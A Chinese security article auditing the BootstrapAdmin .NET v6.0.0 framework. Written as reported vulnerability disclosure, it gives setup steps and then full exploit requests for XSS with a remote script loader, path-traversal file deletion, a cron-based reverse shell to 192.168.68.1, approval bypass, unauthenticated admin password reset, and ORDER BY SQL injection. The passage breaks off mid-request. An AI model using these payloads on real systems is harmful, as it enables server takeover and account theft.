问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
BootstrapAdmin .Net 代码审计
渗透测试
本篇文章中的所有发现的相关漏洞已提交 Issues 或通知仓库拥有者本人。此前审计过PHP、JAVA的CMS,这次尝试审计使用.NET Core开发的Web网站。 这个不是传统的.NET WEB FRAMEWORK,因此我们没有看到项目中存在的Asp、Aspx等动态网页文件。紧随我的脚步,让我们一起感受代码审计的魅力。
0x00 前言 ======= BootstrapAdmin 是基于 RBAC 的 Net7 后台管理框架。该项目获得GVP 奖杯并拥有1w+Star。 本篇文章中的所有发现的相关漏洞已提交 Issues 或通知仓库拥有者本人。此前审计过PHP、JAVA的CMS,这次尝试审计使用.NET Core开发的Web网站。 这个不是传统的.NET WEB FRAMEWORK,因此我们没有看到项目中存在的Asp、Aspx等动态网页文件。紧随我的脚步,让我们一起感受代码审计的魅力。 > .Net Framework 和 .Net Core 都包含了ASP.net,但是.Net Core中的ASP.net被重新设计过了,目前没有看到Web Form这个功能,只看到了MVC这个功能。 <https://gitee.com/LongbowEnterprise/BootstrapAdmin> 0x01 声明 ======= 公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。 请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。 请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。 一切未经授权的网络攻击均为违法行为,互联网非法外之地。 0x02 环境 ======= BootstrapAdmin 版本:v6.0.0 MVC模式 .Net SDK版本:5.0.408 系统环境:Window10/CentOS7 数据库:SQLite 数据库/Mysql8数据库 0x03 安装 ======= 为了更好的测试,我分别在window和Linux上搭建了项目。 下面的教程是在 Centos7 版本上部署的教程。Window部署作者给出了[教程](https://gitee.com/LongbowEnterprise/BootstrapAdmin/wikis/%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B?sort_id=1333477)。 1、拉取项目源代码 --------- ```python mkdir /home/project cd /home/project git clone https://gitee.com/LongbowEnterprise/BootstrapAdmin.git -b v6.0.0 ``` 2、安装.NET SDK ------------ 官方教程:<https://learn.microsoft.com/zh-cn/dotnet/core/install/linux-centos> ### 你可以选择在线安装(比较慢) ```php rpm -Uvh https://packages.microsoft.com/config/centos/7/packages-microsoft-prod.rpm yum install -y dotnet-sdk-5.0 git wget net-tools ``` ### 本地下载上传压缩包 我使用的是dotnet-sdk-5.0的,其他版本可以在 <https://dotnet.microsoft.com/zh-cn/download/dotnet> 找到。手动安装的官方教程地址: <https://learn.microsoft.com/zh-cn/dotnet/core/install/linux-scripted-manual#manual-install> dotnet-sdk-5.0下载地址: <https://download.visualstudio.microsoft.com/download/pr/904da7d0-ff02-49db-bd6b-5ea615cbdfc5/966690e36643662dcc65e3ca2423041e/dotnet-sdk-5.0.408-linux-x64.tar.gz> 我推荐上传到 `/opt` 目录下,如果你上传到了不同的目录,请修改下面的cd命令。 ```python cd /opt DOTNET_FILE=dotnet-sdk-5.0.408-linux-x64.tar.gz export DOTNET_ROOT=$(pwd)/.dotnet mkdir -p "$DOTNET_ROOT" && tar zxf "$DOTNET_FILE" -C "$DOTNET_ROOT" export PATH=$PATH:$DOTNET_ROOT:$DOTNET_ROOT/tools ``` 代码执行完成后。可以通过`dotnet --list-sdks`命令检查是否安装完毕。 3、配置Nginx 反向代理 -------------- ### 01 安装Nginx ```python yum install -y wget cd /usr/local wget http://nginx.org/download/nginx-1.19.8.tar.gz yum install -y gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel tar -zxvf nginx-1.19.8.tar.gz cd /usr/local/nginx-1.19.8/ ./configure --with-http_ssl_module make make install ln -s /usr/local/nginx/sbin/nginx /usr/bin/nginx -f ``` ### 02 配置Nginx 执行使用命令 `vi /usr/local/nginx/conf/nginx.conf`进行编辑配置文件。 这里参考: <https://gitee.com/LongbowEnterprise/BootstrapAdmin/wikis/Nginx%20%E9%85%8D%E7%BD%AE> 我省略了其中443的部分,因为测试环境无需用到。 ```python #user nobody; worker_processes 1; #error_log logs/error.log; #error_log logs/error.log notice; #error_log logs/error.log info; #pid logs/nginx.pid; events { worker_connections 1024; } http{ include mime.types; default_type application/octet-stream; #log_format main '$remote_addr - $remote_user [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for"'; #access_log logs/access.log main; sendfile on; #tcp_nopush on; #keepalive_timeout 0; keepalive_timeout 65; #gzip on; upstream ba { server localhost:50852; } server { listen 80; server_name localhost; error_page 404 500 /50x.html; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { proxy_connect_timeout 1; proxy_pass http://ba/; } location /NotiHub { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_pass http://ba/NotiHub; } location /TaskLogHub { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_pass http://ba/TaskLogHub; } location = /50x.html { root html; } error_page 404 500 502 503 504 /50x.html; } server { listen 8080; server_name localhost; error_page 404 500 /50x.html; proxy_redirect off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { proxy_connect_timeout 1; proxy_pass http://client/; } location = /50x.html { root html; } error_page 404 500 502 503 504 /50x.html; } upstream client { server localhost:49185; } } ``` ### 03 启动Nginx 测试配置正确与否:`/usr/local/nginx/sbin/nginx -t` 运行nginx::`/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf` 重新加载:`/usr/local/nginx/sbin/nginx -s reload` 4、启动项目 ------ ```python cd /home/project/BootstrapAdmin export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 nohup dotnet run --project ./src/mvc/admin/Bootstrap.Admin & nohup dotnet run --project ./src/mvc/client/Bootstrap.Client & ``` 启动后任然无法访问,需要关闭防火墙: ```python systemctl disable firewalld systemctl stop firewalld ``` 启动后访问`http://localhost:50852/Account/Login`即可 5、更换数据库 ------- 我这里使用的可视化管理Mysql工具为`DBeaver` 先在本地Mysql服务创建一个命名为BA的数据库。注意选择一下字符集`utf8mb4_general_ci`。  创建完数据库后,我们先将`BootstrapAdmin\db\MySQL`目录下的`initData.sql` 在第一行添加`set character set utf8mb4;` 如果不做这一步,在后续操作会无法恢复该文件。  修改完后右键数据库选择恢复数据库。  通过这个功能分别导入两个sql文件。  修改配置文件应用Mysql服务。 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\appsettings.json`  `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\appsettings.Development.json`  重新生成后出现以下错误。  在Visual Studio帮助旁边的搜索栏搜索 Nuget  在弹出的窗口选择`游览`,搜索Mysql,下载安装`Mysql.Data 8.029`这个版本。 因为最新版本不支持.Net5.0。  安装完毕后重新生成启动即可。 0x04 代码审计 ========= 【前台】错误返回页面存在反射型XSS(无Cookie) --------------------------- ### 漏洞利用 经典的 a 标签 href 属性XSS注入,使用简单 payload:`javascript:alert(8007)` 点击返回首页时可以触发Script脚本。 请求路径:`http://localhost:50852/Home/Error/404?ReturnUrl=`  使用 xssye.com 构造利用方式。 `javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly94c3N5ZS5jb20vejNxVyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs='))` 参考:  当我们点击返回首页时执行了我们的跨站脚本,可以在xssye.com后台中看到数据,但是没有获取到Cookie。  Cookie都有 HttpOnly 所以获取不到。  ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\HomeController.cs`  这里的 returnUrl 是通过Request Query获取的,也就是GET方式请求获取Query数据。 `Request.Query[CookieAuthenticationDefaults.ReturnUrlParameter].ToString();` 对应的`cshtml`文件 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Views\Shared\Error.cshtml`  > `@Url.Content` 方法返回一个应用程序中的虚拟路径的绝对 URL。它可以用于生成包含应用程序根路径的 URL,这对于在视图中使用相对路径引用 CSS、JavaScript 和图像等文件非常有用。 > 在 Razor 视图中,默认情况下会进行 HTML 实体编码,以避免跨站点脚本攻击。这意味着在模型属性的值插入到 HTML 中时,会自动将特殊字符(如 <, >, & 等)转换成对应的 HTML 实体编码。 【后台】头像任意文件删除 ------------ 权限:后台普通用户权限 ### 漏洞利用 为了测试,我现在目录`BootstrapAdmin\src`下新建命名为`don't_delete_me.txt`的文件。  使用管理员默认账户登录后台:Admin/123789 访问:`http://localhost:50852/Admin/Profiles` 在左侧栏找到个人中心,进入后找到修改头像处。  任意上传一张图像,然后点击删除。抓包修改包的内容。 头像存储的相对路径是`BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\wwwroot\images\uploader` 将 key 修改成`\..\..\..\..\..\..\don't_delete_me.txt`  请求包: ```php POST http://localhost:50852/api/Profiles/Delete HTTP/1.1 Host: localhost:50852 Content-Length: 42 sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99" Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/Profiles Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8PEsgr_mSMxFurYJD90kTRdDutnyswhgQAajLp51T2b4dYv1uTICnGVL5VbVaPJDUc3r70GoHtQB2Vj7oYm-nLhDCG9W_mj5-8IB2FhB271EWYmMSylfSZlNpTFa3Bjf2r_UhJSfp1Bd5BPtXwzV6_I; .AspNetCore.Cookies=CfDJ8PEsgr_mSMxFurYJD90kTRfdrk0fKJRgNBBGJh87RD57SJijn1hT9IhdiA0zf0iJmcS8FhwRVuJ0vRc_TtyVbrYpbGm_YrC8ZzLRK9P8u4AZImRchxPy9WBPUhMMx1p9xex3eUomUXRKzT5yx12qpn93BDSxLApgseVLQLucY5kAtph1GMb1V17dFqbe0ieA99eoYMLFYT_KBcncZFdFE7cAUAJWj0msoM8Uwb9aRSXaVdqklQvxohYvXa0zEFcUSzKpbJbYWIGYDMzW3WJvehlx6i8nDEneQaHVeR801qSl Connection: close key=\..\..\..\..\..\..\don't_delete_me.txt ``` 我在Linux系统上创建了delete\_me.txt文件。  通过使用 payload`/../../../../../../../../delete_me.txt`将文件删除了。  报错是因为我修改了全局的头像路径不用理会。那么有人可能问了,如果修改了字典里的头像路径为什么还能删除我们指定的文件呢? 原因是它是这么拼接的: `fileName = Path.Combine(env.WebRootPath, $"images{Path.DirectorySeparatorChar}uploader{Path.DirectorySeparatorChar}{fileName}");` 直接写死了`images/uploader`而不是通过字典获取路径。具体的代码在下面可以看到。 ### 漏洞定位 请求路径为`http://localhost:50852/api/Profiles/Delete` 后端处理文件为: `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs` 对`api/Profiles`的Post请求就会进入到这个函数,它的请求格式为`api/Profiles/{id}` 这里先对id进行了判断,然后获取我们传入的Key。这里的`[FromForm] DeleteFileCollection files`已经将请求body的参数转换成`DeleteFileCollection`对象了,所以`files.Key`就是我们输入的`\..\..\..\..\..\..\don't_delete_me.txt`。  > `Path.Combine` 函数用于将字符串组合成文件或目录路径。它是一种安全的连接路径的方式,因为它会自动添加正确的目录分隔符。但是,需要注意的是,Path.Combine不会验证或清理输入路径。开发人员有责任确保输入路径是安全的,不包含任何恶意或意外字符。 这里没有对拼接的路径进行任何过滤,所以我们可以进行目录遍历删除文件。 【后台】头像任意文件上传 ------------ 权限:后台普通用户权限 ### 漏洞利用 使用管理员默认账户登录后台:Admin/123789 访问`http://localhost:50852/Admin/Users` 新建一个名为 root 的账户,密码随意,也不需要给权限。  然后进入字典表维护`http://localhost:50852/Admin/Dicts` 在字典代码输入`~/../../../../../../../../../var/spool/cron/` 这里的`../`多少无所谓主要是要跳到根目录,其次注意的是Ubuntu的计划任务目录在 `/var/spool/cron/crontabs`  我们退出Admin账户,重新登录root账户,然后到个人中心处上传图片后抓包。  ```php Content-Disposition: form-data; name="file_data"; filename="." Content-Type: image/jpeg * * * * * bash -i >& /dev/tcp/192.168.68.1/6666 0>&1%0a ``` 需要注意的是我们需要将`%0a`进行URL编码解码发包才可以。  解码之后发送请求。  到测试服务器上查看,发现已经写入。  Windows 开 nc 监听等待一分钟也能连上,至此成功Getshell。  ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs` 这里的 fileName 是使用当前用户名拼接上传文件的 filename 得来的,所以我们在上传文件的时候修改后缀 .asp 即可上传木马文件。  为什么无法解析呢?我们往下看。 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Startup.cs` app.UseStaticFiles() 中间件默认配置为从“wwwroot”目录提供文件服务。  设置了这个中间件去访问动态文件 asp 时会因为`app.UseStatusCodePagesWithReExecute("/Home/Error/{0}");`返回`/Home/Error/404`的界面。 访问:`http://localhost:50852/Admin/Profiles`  找到修改头像,选择一句话木马后上传,抓包修改后缀名为 asp 放包即可。  可以看到文件已经上传成功了。  虽然文件上传成功,但很可惜,无法解析。  我注意到`fileName = $"{userName}{Path.GetExtension(uploadFile.FileName)}";` 路径拼接中使用了`userName`,那我可以尝试通过修改用户名来达到目录穿越的目的。 更新用户名,`PUT http://localhost:50852/api/Profiles`  很可惜存在 UserName与 当前登录用户名进行判断,我们没办法通过这个判断。 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\ProfilesController.cs`  还有一个地方可以编辑,那就是用户管理。  抓包修改之后修改UserName,但是实际上没有修改成功。  这里没有使用到我们的 UserName,但我们可以新建一个账户。 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\UsersController.cs`  随意创建一个用户。  修改请求中的 UserName  `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\UsersController.cs`  进入到 UserHelper.Save `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs`  继续进入到 UserHelper.UserChecker,其中针对我们传入的 UserName 进行了长度限制和正则匹配。很显然我们输入的`..\\..\\..\\..\\`没法通过匹配。  我将注意力放到 `webSiteUrl` `var filePath = Path.Combine(env.WebRootPath, webSiteUrl.Replace("~", string.Empty).Replace('/', Path.DirectorySeparatorChar).TrimStart(Path.DirectorySeparatorChar) + fileName);` 这是最终拼接路径的语句,其中的`webSiteUrl`是通过字典获取的。 `var webSiteUrl = DictHelper.RetrieveIconFolderPath();` 我们到字典表维护功能,就可以找到头像路径的设置。 `http://localhost:50852/Admin/Dicts`  将字典代码内容修改成`~/../../../../../../../`。  这个时候我们再次上传就可以看到路径已经拼接好了。   在 Windows 情况下,我们没有办法通过上传木马GetShell。有人就要问了,覆盖报错页面的 cshtml 就可以了。想法很好,但很可惜,在ASP.NET Core应用程序中,cshtml文件是视图文件,用于呈现HTML内容。这些文件通常在应用程序启动时被编译,并在运行时作为静态文件提供。因此,在程序运行时修改cshtml文件是不可能的。 > Cmd 临时开启 UTF-8编码,可以使用命令 `chcp 65001`。 > 参考 <https://learnku.com/articles/55553> 我在Linux上传计划任务时卡了一会,因为**crontab的文件要以换行符结尾**。否则没法执行计划任务。但如果直接换行或者Shift+Enter(输入\\r\\n)结果是`^M`。 > ^M 是一个特殊的字符,也称为回车符或者Carriage Return符号。它通常表示为\\r。 > 当在Windows中使用文本编辑器或其他工具编辑文件时,该文件的行结束符可能会以回车符(\\r)和换行符(\\n)的组合表示。在Linux和Unix系统中,行结束符通常只是一个换行符(\\n)。 > 在计划任务语句中,如果包含回车符(\\r),它会被解释为一个命令或参数的一部分,可能会导致计划任务执行失败。  所以我想到需要编辑Hex,而BurpSuite2020及之后版本都没法直观的编辑Hex。 官方给的说明如下(Google翻译过后的)  > 可以通过链接直达该官方说明:<https://portswigger.net/burp/documentation/desktop/tools/inspector/modify-requests> 也就是先添加一个字符,然后选中,再通过右侧小部件编辑。  但是我试了一下还是不行,不如直接使用`%0a`URL解码一下就行了。 【前台】越权添加账户 ---------- ### 漏洞利用 访问登录界面`http://localhost:50852/Account/Login`  点击申请账号,任意填写内容后点击提交并抓包。  修改请求包,添加两项内容: ```python "ApprovedTime":"2023-05-04 18:44:20.9316203", "ApprovedBy":"system" ```  请求包: ```python POST /api/Register HTTP/1.1 Host: localhost:50852 Content-Length: 150 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Account/Login?AppId=BA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNbJjshI1qzQp5CuMqbXtCMkdL2neNZavWmBhuthWZKWz33fafGSx248iRpmB60ypJVZklddoKZx_r5WUEYb6NlFnr8NezIO2vRdhVD2dAcFCSwZJTQffPO8V4Ua3hJC-90 Connection: close {"UserName":"test","Password":"123456","DisplayName":"test","Description":"test", "ApprovedTime":"2023-05-04 18:44:20.9316203","ApprovedBy":"system"} ``` 放包后,我们可以使用管理员账号在后台查看用户相关数据。发现已经添加成功。  使用我们刚刚注册的账号进行登录。可以看到能够登录,也就是说**绕过了注册账号需要管理员通过的操作**  可以看到是 test 账户,现在是默认权限的状态。  当我访问 `http://localhost:50852/api/Users?search=&sort=RegisterTime&order=desc&offset=0&limit=20&name=&displayName=&_=1683257070879`时可以获取所有用户的用户相关信息。这个功能当前用户应当没有权限,只有管理员有用户管理的面板。属于**越权**操作了。   ### 漏洞定位 我们在请求`http://localhost:50852/api/Register`时会先进入到: `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs`  进入到`UserHelper.Save`函数 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs` 这里进行了三个判断: 1. 判断输入的用户数据是否符合标准 UserChecker 2. 根据输入的用户名判断用户是否已经存在 3. 判断是否是演示系统,如果是演示系统就根据输入ID判断用户是否已经存在。显然这里不是演示系统。 我们输入用户名是不存在的且符合标准,所以进入到保存操作。 `DbContextManager.Create<User>()?.Save(user)`  `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs` 到这里直接通过`db.Insert`操作将我们传入的所有数据进行了保存操作。  那么为什么我们添加了`ApprovedTime`和`ApprovedBy`就可以登录了呢?我们去看看登录控制器。 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\AccountController.cs` 这里存在用户爆破漏洞,因为没有进行验证码校验,不过不是我们目前漏洞的重点。  只要用户名和密码不为空就进入到 `UserHelper.Authenticate`。 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs`  这里进入到`Authenticate`函数 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs`  可以看到这里的查询语句条件中忽略了`ApprovedTime`为空的用户数据,所以只要我们添加了`ApprovedTime`就可以登录。 【前台】任意重置密码 ---------- ### 漏洞利用 进入到后台登录页面`http://localhost:50852/Account/Login`  进入到忘记密码界面,账号处输入`Admin`即默认管理员账户登录名称,其他字段信息随意填写。  我们提交之后再发送一个重置密码的包即可,这个包不需要任何权限。  请求包: ```python PUT /api/Register/Admin HTTP/1.1 Host: localhost:50852 Content-Length: 21 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost:50852 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Account/Login?AppId=BA Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNbJjshI1qzQp5CuMqbXtCMkdL2neNZavWmBhuthWZKWz33fafGSx248iRpmB60ypJVZklddoKZx_r5WUEYb6NlFnr8NezIO2vRdhVD2dAcFCSwZJTQffPO8V4Ua3hJC-90 Connection: close {"Password":"123456"} ``` 这个时候我们再使用`Admin/123456`即可登录管理员权限账户。  ### 漏洞定位 我们先关注到`http://localhost:50852/api/Register/Admin`这个路径的处理函数 `BootstrapAdmin\src\mvc\admin\Bootstrap.Admin\Controllers\Api\RegisterController.cs`  进入到`UserHelper.ResetPassword`函数 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Helper\UserHelper.cs` 这里进行了2个判断: 1. 对用户输入的用户名和密码进行标准检查 2. 判断是否是演示系统,如果是演示系统就不允许修改`Admin`和`User`这两个账户。这里不是演示系统。  通过了两个判断后,进入到`ResetPassword`函数。 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\User.cs` 这里先有一个根据传入的用户名判断是否有提交重置密码请求,这里必须要有重置密码请求记录。 通过了这个判断之后,就是进行`db.Update`操作了。  【后台】查询日志接口存在SQL注入 ----------------- 权限:后台普通用户权限 ### 漏洞利用 使用任意账号登录都能请求 `http://localhost:50852/api/Logs`接口 此接口的`Sort`和`Order`没有使用Linq进行转义导致注入漏洞的产生。 **基于报错注入:** `http://localhost:50852/api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,`  请求包: ```python GET /api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ``` **基于时间注入:**  请求包: ```python GET /api/Logs?OperateTimeEnd=&OperateTimeStart=2023-05-06&limit=1&offset=0&operateType=&order=sleep(10))&sort=if(1=2,1, HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ``` 更多利用方式请看:<https://yang1k.github.io/post/sql%E6%B3%A8%E5%85%A5%E4%B9%8Border-by%E6%B3%A8%E5%85%A5/> ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\Log.cs` 在SQL语句拼接时`Sort`和`Order`没有使用 Linq 进行转义  【后台】查询所有SQL日志信息接口存在SQL注入 ------------------------ 权限:后台普通用户权限 ### 漏洞利用 `http://localhost:50852/api/SQL` `http://localhost:50852/api/SQL?offset=0&limit=20&UserName=&OperateTimeStart=2023-05-06&OperateTimeEnd=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,`  请求包: ```python GET /api/SQL?offset=0&limit=20&UserName=&OperateTimeStart=2023-05-06&OperateTimeEnd=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:50852/Admin/SQL Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: .AspNetCore.Antiforgery.a2HlFfgw_P8=CfDJ8Gs8oXs1rxRKjEnWjDIDxNYIk8qTrVAchQMdNQDsqE0fBboelKrRDrSlcNGeSNFI1jNSivWc5b5t8tkI1SES8xumGS6HdMyCcTFdEqocP7y74P26iG_iKW6RRYrazzhQNkcvDfYzcxAzdbm-f5FqO88; .AspNetCore.Cookies=CfDJ8Gs8oXs1rxRKjEnWjDIDxNaE3CXKRjutQdTU9MI2xO1nRk7yd-9PgK41JPtnvxNoybJwZclKPosGkyWisjmmpaB2xJkLw04jWnB1ZpvrHYBNhbm02wR62IXpOdYVnmBRgSs7UrKRDnk-fAR9CRWNiYrLr5Dq9irg-R7uxSbuwu1A-eKvcQUsLvd_nvlRmExl_ay-3wo0v1rvUe1pwpbhyzzda5HLQbh0XOMmor5h0q66o9vFYO5dgBUGqYxpBidWCv0PoKzqGQeA_8dxsBolEctWPrQEKakod3mJ1HrIKQR1 Connection: close ``` ### 漏洞定位 `BootstrapAdmin\src\mvc\admin\Bootstrap.DataAccess\DBLog.cs` 在SQL语句拼接时`Sort`和`Order`没有使用 Linq 进行转义  【后台】获得登录用户的分页数据接口存在SQL注入 ------------------------ 权限:后台普通用户权限 ### 漏洞利用 `http://localhost:50852/api/Login` `http://localhost:50852/api/Login?&offset=0&limit=20&startTime=2023-05-06&endTime=&loginIp=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1,`  请求包: ```python GET /api/Login?&offset=0&limit=20&startTime=2023-05-06&endTime=&loginIp=&order=concat(0x7e,database(),0x7e),3)&sort=updatexml(1, HTTP/1.1 Host: localhost:50852 sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110" Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/json X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: 